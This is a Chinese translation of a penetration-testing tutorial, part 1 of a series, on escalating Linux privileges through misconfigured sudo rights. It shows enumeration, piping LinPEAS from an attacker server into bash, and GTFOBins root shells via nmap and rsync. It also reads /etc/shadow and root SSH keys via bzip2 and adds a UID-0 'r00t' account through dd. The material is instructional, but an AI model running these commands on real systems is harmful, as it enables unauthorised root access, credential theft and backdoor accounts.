本文透過 Google 翻譯 Sudo Part-1 – Linux Privilege Escalation - Juggernaut-Sec 這篇文章所產生,本人僅是對機器翻譯中部分表達彆扭的字詞進行了校正及個別註釋補充。
導航
-
0 前言
-
1 什麼是 Sudo 以及它是如何工作?
- 1.1Sudo 二進位制、許可權和組解釋
-
2 手動尋找 Sudo 許可權
- 2.1 列舉當前使用者的 Sudo 許可權
- 2.2 列舉 Sudo 組中的使用者
-
3 自動尋找 Sudo 許可權 – LinPEAS
- 3.1 在記憶體中執行LinPEAS
- 3.2 列舉 Sudo 許可權
-
4 利用 Sudo 命令 – GTFOBins
- 4.1 利用簡單 Shell 二進位制檔案 – nmap 和 rsync
- 4.1.1 nmap
- 4.1.2 rsync
- 4.2 利用讀/寫二進位制檔案 – bzip2 和 dd
- 4.2.1 Bzip2 – 檔案讀取漏洞
- 4.2.2 dd – 檔案寫入漏洞
- 4.1 利用簡單 Shell 二進位制檔案 – nmap 和 rsync
-
5 最後的想法
0、前言
對於這篇關於Linux許可權提升技術的2部分文章,我們將深入探討利用二進位制sudo特權的各種方法。
這篇文章比我最初預期的要長,所以我不得不把它分成兩部分。
在第 1 部分中,我們首先採取手動列舉當前使用者以及sudo組的sudo許可權。然後,我們再瞭解如何使用工具(LinPEAS)為我們列舉這些資訊。
在列舉階段,我們將發現當前使用者可以使用sudo許可權執行的總共有7個命令(二進位制檔案) 。
從這7個命令中,我們會發現其中4個使用標準二進位制檔案,我們可以透過利用 GTFObins 這個站點輕鬆利用這些二進位制檔案。
在第 2 部分中,我們將把重點轉向更高階的利用主題,例如:濫用預期功能(即在 GTFOBins 上未發現的二進位制檔案的額外功能)、LD_PRELOAD、令牌重用以及針對sudo程式特定版本的兩個 CVE 漏洞。
1、什麼是 Sudo 以及它是如何工作?
Sudo 代表“super user do”,是一個二進位制程式,它允許使用者以另一個使用者(一般是root)的身份執行程式。
然而,sudo不僅僅是一個二進位制檔案,它既是一個特權還是一個組。
sudo的主要目的是允許使用者以 root 身份執行程式,否則他們無法以標準使用者身份執行該程式。這建立了一個更“安全”的環境,因為使用者不需要以 root 身份登入或 su root 去以 root 身份執行程式 - 它們可以簡單地使用sudo來代替。
Sudo 還可以用於以非 root 使用者身份執行程式,但這並不常見。
通常,這將被鎖定為以 root 身份去執行單個命令,但它還可以透過命令包含特定引數的方式以更細粒度的去控制命令的部分功能以root身份去執行。例如,它可用於允許使用者以 root 身份執行 systemctl,或者它可以更具體並允許使用者僅重新啟動指定的服務,如 systemctl ssh restart。
這極大地改變了使用者對任何指定程式的 root 許可權的訪問許可權。例如,僅使用systemctl,使用者就可以以 root 身份執行任何引數並操作任何服務;然而,使用特定的命令列引數,使用者只能執行一項任務。
或者,sudo許可權可以設定為“ALL”,這意味著任何程式都可以作為 root 執行。本質上,這會導致對整個檔案系統的完全根訪問。
預設情況下,當使用者擁有 sudo 許可權時,需要輸入密碼(不是 root 密碼)才能使用sudo命令。
1.1、Sudo 二進位制、許可權和組解釋
如上所述,sudo是二進位制、特權和組。但這到底意味著什麼?
首先,sudo是一個程式(二進位制),這意味著它有多個版本和更新。這同時也意味著sudo的某些版本可能具有公共漏洞和分配給它們的 CVE。
其次,sudo是一種特權,因為它為使用者提供了以 root 身份執行程式的能力。這些許可權在 /etc/sudoers 檔案中被顯式配置。
Sudo 許可權可以透過幾種不同的方式應用。如上所述,它們可以設定為執行“所有”程式、執行指定程式或使用指定引數執行指定程式。
sudoers檔案可以透過多種方式進行配置,但大多數情況下它非常容易理解。我們經常會看到諸如“ALL”和“NOPASSWD”之類的內容,有時還會看到諸如 root 之類的使用者名稱或其他名稱,如下所示:
注:sudoers檔案格式:sudo使用者帳號 登入者的來源主機名稱=(可切換的身份) 可下達的指令
(ALL : ALL) ALL
(ALL : ALL) /some/program
(root) NOPASSWD: ALL
(user) /some/program
此列表只是一個簡單的示例,並不詳盡。
這裡重點是…
- ALL:ALL 是程式可以執行的使用者/組。這些可以設定為特定的使用者/組 – 除非另有指定,否則全部預設為 root。
- NOPASSWD 意味著我們可以在不輸入當前使用者密碼的情況下執行sudo 。
- 最後的 ALL 表示所有程式,但這也可以是特定程式。
要獲得完整的理解,請檢視sudo聯機幫助頁。
最後,sudo也是一個組。預設情況下,sudo組配置為在sudoers檔案中執行 (ALL:ALL) ALL。
現在我們瞭解了sudo是什麼以及它是如何工作的,讓我們看看如何列舉它。
2、手動尋找 Sudo 許可權
首先,假設我們已找到憑證並以標準使用者 cain的身份透過 SSH 登入在目標 Linux 計算機上。
當涉及到列舉sudo許可權時,作為標準使用者的我們只能檢視兩點:
- 當前使用者的sudo許可權
- 在sudo組中的所有使用者
2.1、列舉我們當前使用者的 Sudo 許可權
只有 root 才能檢視/etc/sudoers檔案,這就是為什麼我們無法列舉所有其他使用者的sudo許可權。
但是,我們可以使用以下命令輕鬆檢查當前使用者可以使用sudo執行哪些程式:
sudo -l
在這裡我們可以看到我們當前的使用者cain能夠使用sudo執行相當多的程式;對於上面的大部分程式來說,使用sudo執行時無需提供密碼。
通常,這會提示我們輸入當前使用者的密碼;然而,在本例中卻沒有,因為某些條目已設定了 NOPASSWD。
或者,如果系統提示我們輸入密碼但我們還不知道,我們應該開始考慮尋找一個密碼。
要了解如何在 Linux 目標上執行密碼搜尋,請檢視帖子。
雖然這向我們展示了當前使用者可以使用sudo執行什麼,但如果我們對其他使用者可以執行什麼也感興趣怎麼辦?
2.2、列舉 Sudo 組中的使用者
如上所述,除非我們是 root,否則我們無法讀取sudoers檔案;但是,我們可以檢查sudo組中的任何使用者。
為此,我們可以設定一個快速迴圈來獲取系統上所有使用者帳戶的列表,然後對每個帳戶執行id命令。
for user in $(cat /etc/passwd | awk -F: '{print $1}');do echo "$user" ; id "$user" ;done | grep -B 1 "sudo"
這裡我們可以看到一個使用者:juggernaut屬於sudo組。
如果sudoers檔案中sudo組的預設配置尚未更改,則意味著該使用者在系統上擁有完全的sudo訪問許可權。
作為標準使用者,這就是我們在sudo列舉方面所受到的限制。
3、自動尋找 Sudo 許可權 – LinPEAS
LinPEAS 是後滲透列舉工具,因為它提供了大量資訊。在受害者上執行後,我們將看到與手動列舉相同的所有內容,以及更多內容。
然而,在使用工具之前展示手動步驟非常重要,以便我們瞭解工具的輸出以及要查詢的內容。
如果您沒有 LinPEAS 的副本,您可以 在這裡獲取一份。
通常,當我們執行 LinPEAS 時,我們會不帶引數執行它來執行“所有檢查”,然後從上到下逐行梳理所有輸出。
3.1、在記憶體中執行 LinPEAS
獲取 LinPEAS 的副本後,我們通常會將副本傳輸到受害者身上,然後執行它。相反,對於本示例,我們將直接將其下載並執行到記憶體中。
首先,我們需要在攻擊者計算機的 linpeas.sh所在目錄中設定一個 HTTP 伺服器 。
python3 -m http.server 80
然後,回到受害者機器上,我們可以使用以下命令將 LinPEAS 下載並直接執行到記憶體中:
curl 172.16.1.30/linpeas.sh | bash
透過管道將命令傳遞到 bash,cURL 會將指令碼輸入 bash 並直接在記憶體中執行,而不會將其寫入磁碟!
此處看到全為 0 確認該檔案未下載到磁碟。這意味著指令碼是直接在記憶體中執行的!
3.2、列舉 Sudo 許可權
好吧,一旦指令碼執行完畢,我們就可以梳理結果,看看 LinPEAS 列舉我們已經手動找到的東西的效果如何。
使用LinPEAS時,我們可以檢查User Information部分來查詢當前使用者的sudo許可權以及sudo組中的任何使用者。
這表明,很多我們可以使用 sudo 執行的二進位制檔案都是紅色/黃色,這意味著它們有 95% 的可能性會導致 root 升級。
在本例中,所有紅色/黃色的結果表明可以在 GTFOBins 上輕鬆找到漏洞利用。
4、利用 Sudo 命令 – GTFOBins
為了開始利用示例,我們將使用 GTFOBins 來利用上面發現的四個紅色/黃色標識的命令。
對於這些示例,瞭解 GTFOBins 是什麼及其工作原理非常重要,因此讓我們快速回顧一下。
GTFOBins 是 Unix 二進位制檔案的精選列表,可用於繞過配置錯誤的系統中的本地安全限制。
對於 GTFOBins 上可用的所有漏洞,它們都有一個共同點,即它們假設以 root 身份執行。
儘管如此,GTFOBins 還是針對我們可能遇到的不同情況(sudo,SUID等)展示了不同的技術。
無論如何,當涉及到sudo時,我們總是以 root 身份執行二進位制檔案,這意味著我們不應該將自己限制在 GTFOBins 上提供的漏洞利用上【注:例如上面出現的sudo apache命令】。
還需要注意的是,並非sudoers檔案中的每個易受攻擊的條目都會立即生成 root shell。相反,它們可能提供以 root 身份執行諸如讀取或寫入檔案之類的操作的能力。
4.1、利用簡單Shell二進位制 – nmap 和 rsync
我們當前使用者可以使用sudo執行的兩個程式是nmap和rsync。幸運的是,這兩個二進位制檔案很容易被利用並升級為 root。
4.1.1、Nmap
從nmap開始,我們可以看到 GTFOBins 上有兩種看起來很有趣的不同漏洞利用。
第一個建立一個執行 /bin/sh 的指令碼,然後使用nmap執行該指令碼。
或者,第二個使用可以作為 root 打破的“互動”模式。不過,該漏洞有版本要求,僅適用於 2.02 – 5.21 版本。
Nmap Version 2.02 – 5.21
由於利用 B 更“容易”,我們可以透過檢查主機上執行的 nmap 版本來實現。
/usr/bin/nmap --version
完美的!我們可以看到版本是3.81,屬於易受攻擊的範圍。
由於該版本容易受到漏洞利用 (b),因此我們可以簡單地使用 GTFOBins 提供的命令並獲取 root shell。
提示:當使用 GTFOBins 上發現的漏洞時,請始終使用 sudo -l 輸出中找到的二進位制檔案的絕對路徑。
sudo /usr/bin/nmap --interactive
!sh
Nmap Version >5.21
然而,如果我們碰巧發現版本>5.21,那麼我們就必須使用exploit(a)。
/usr/bin/nmap --version
我們所要做的就是簡單地複製並貼上我們在 GTFOBins 上看到的漏洞利用程式。
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo /usr/bin/nmap --script=$TF
Boom!它是有效的,但是 shell 非常不穩定,我們看不到我們輸入的任何內容。例如,上面我輸入whoami它輸出“root”,但我們看不到我們執行命令的痕跡。
因為這個 shell 不穩定,所以我們可以透過將 bash 複製到 /tmp 並提供SUID位來升級它。一旦完成,我們就可以退出這個 shell 並進入穩定的 shell。
cp /bin/bash /tmp && chmod 4755 /tmp/bash
exit
將上面的兩個命令複製並貼上到終端後,除了退出並返回到常規提示符之外,我們看不到任何其他內容。
但是當我們檢查/tmp目錄時,我們可以看到 SUID bash 正在等待著我們!
現在我們可以簡單地使用以下命令進入穩定的 root shell:
/tmp/bash -p
4.1.2、Rsync
Rsync 是更容易利用並進入 root shell 的二進位制檔案之一。
檢查 GTFOBins,我們可以看到可以透過單個命令來利用這一點。
並測試漏洞利用,它起作用並讓我們進入root shell!
sudo /usr/bin/rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
我們可以將 'sh' 替換為 'bash';然而,這實際上破壞了一些漏洞。因此,最好在使用“sh”獲取 shell 後使用命令/bin/bash -p 。
Cool!這是我們的兩個“easy shell”示例。接下來,我們將研究允許以 root 身份對檔案進行讀/寫訪問的二進位制檔案:bzip2和dd。
4.2、利用讀/寫二進位制檔案 – bzip2 和 dd
並非 LinPEAS 發現的所有紅色/黃色命令都會產生easy root shell。有時,我們需要做更多的工作才能提升許可權。
對於這兩個示例,我們將看到檔案讀取 ( bzip2 ) 和檔案寫入 ( dd ) 漏洞將有助於獲取 root shell,但不會立即生成 root shell。
4.2.1、Bzip2 – 檔案讀取漏洞
當談到檔案讀取漏洞時,我們想要嘗試並瞄準一些關鍵檔案。
我們可以以 /etc/shadow 檔案為目標,然後開始破解雜湊值;然而,我們可以尋找的另一個好檔案是root SSH key。
雖然破解雜湊值可能會為我們提供 root 密碼,但 SSH 金鑰將使我們能夠以 root 身份立刻訪問。
首先,我們需要檢查如何從 GTFOBins 中使用bzip2讀取檔案。
在這裡我們可以看到 GTFOBins 使用變數來設定要讀取的檔案,但我們不需要執行所有這些操作。
相反,我們可以只執行第二個命令並直接在命令列上指定我們想要讀取的檔案。
請記住在命令開頭新增sudo並使用二進位制檔案的絕對路徑!
例如,如果我們想從shadow檔案中獲取所有雜湊值,我們可以使用以下命令來實現:
sudo bzip2 -c /etc/shadow | sudo bzip2 -d | grep '$6'
要了解如何使用 John the Ripper破解 Shadow 雜湊,請檢視這篇文章。或者,要了解如何使用hashcat來完成此操作 ,請檢視 這篇文章。
或者,我們可能會幸運地找到 SSH 金鑰。
sudo bzip2 -c /root/.ssh/id_rsa | sudo bzip2 -d
Boom!現在我們可以簡單地將此金鑰複製到攻擊者計算機上的檔案中,然後使用它以 root 身份登入。
要以 root 身份登入,我們可以將-i標誌傳遞到ssh命令中。
ssh -i ./root_id_rsa root@172.16.1.175
4.2.2、dd – 檔案寫入漏洞
有趣的是,大多數具有檔案寫入漏洞的二進位制檔案是最難利用的。原因是,它們通常需要利用漏洞連結來升級許可權。
例如,對於大多數二進位制檔案,將檔案作為root寫入意味著能夠將新檔案作為root寫入。這不應該與編輯檔案的能力相混淆,除非二進位制檔案是文字編輯器或類似的東西。
讓我們看一下GTFOBins 上的dd二進位制檔案,以便更好地理解我的意思。
這表明我們可以使用 echo 將資料寫入檔案。現在,因為我們有寫許可權,所以我們可以覆蓋任何我們想要的檔案。
不幸的是,我們將用一行覆蓋該檔案,因此替換任何重要檔案(例如: passwd、shadow、sudoers和crontab )都是非常危險的。
或者,我們可以以 root 身份編寫一個新檔案,但這對我們沒有任何幫助……
echo "This file is owned by root" | sudo dd of=/tmp/test
那麼我們如何利用這一點呢?
結合檔案讀取和檔案寫入漏洞來有效編輯檔案
通常感覺這可能是一條死衚衕;然而,這也可能歸結為理解二進位制檔案的工作原理。
例如,使用dd我們可以結合檔案讀取(輸入檔案)和檔案寫入(輸出檔案)來有效地編輯檔案。
為此,我們將以 /etc/passwd 檔案為目標,因為它是世界可讀的。
首先,我們需要將passwd檔案複製到可寫目錄中。
cp /etc/passwd /tmp
接下來,我們需要返回攻擊者機器並使用 openssl建立一個雜湊密碼。對於這個例子,我們將保持簡單並將密碼設定為“ password ”。
openssl passwd password
執行命令後,我們將獲得一個雜湊值 ShuKpZV7v9akI – 請將此值放在手邊,因為我們將在下一個命令中需要它。
去建立名為r00t的第二個 root 使用者 ,我們可以將以下行新增到passwd檔案中 – r00t:ShuKpZV7v9akI:0:0:root:/root:/bin/bash
echo 'r00t:ShuKpZV7v9akI:0:0:root:/root:/bin/bash' >> ./passwd
因為 UID 和 GID 設定為“0”,所以使用者“r00t”實際上是 root。
現在,我們需要做的就是使用dd讀取(輸入)編輯後的passwd檔案,然後寫入(輸出)它來代替原始檔案。
sudo dd if=/tmp/passwd of=/etc/passwd
Boom!我們成功地將新的 root 使用者新增到 etc/passwd檔案中!
現在我們可以簡單地使用su命令來獲取 root shell。
5、最後的想法
這些都是好東西,但就 GTFObins 上可找到的易受攻擊二進位制檔案的數量而言,我們只是剛剛觸及表面。
繼續第 2 部分,我們將把重點從 GTFOBins 上發現的二進位制檔案轉移到一些更高階的sudo利用技術。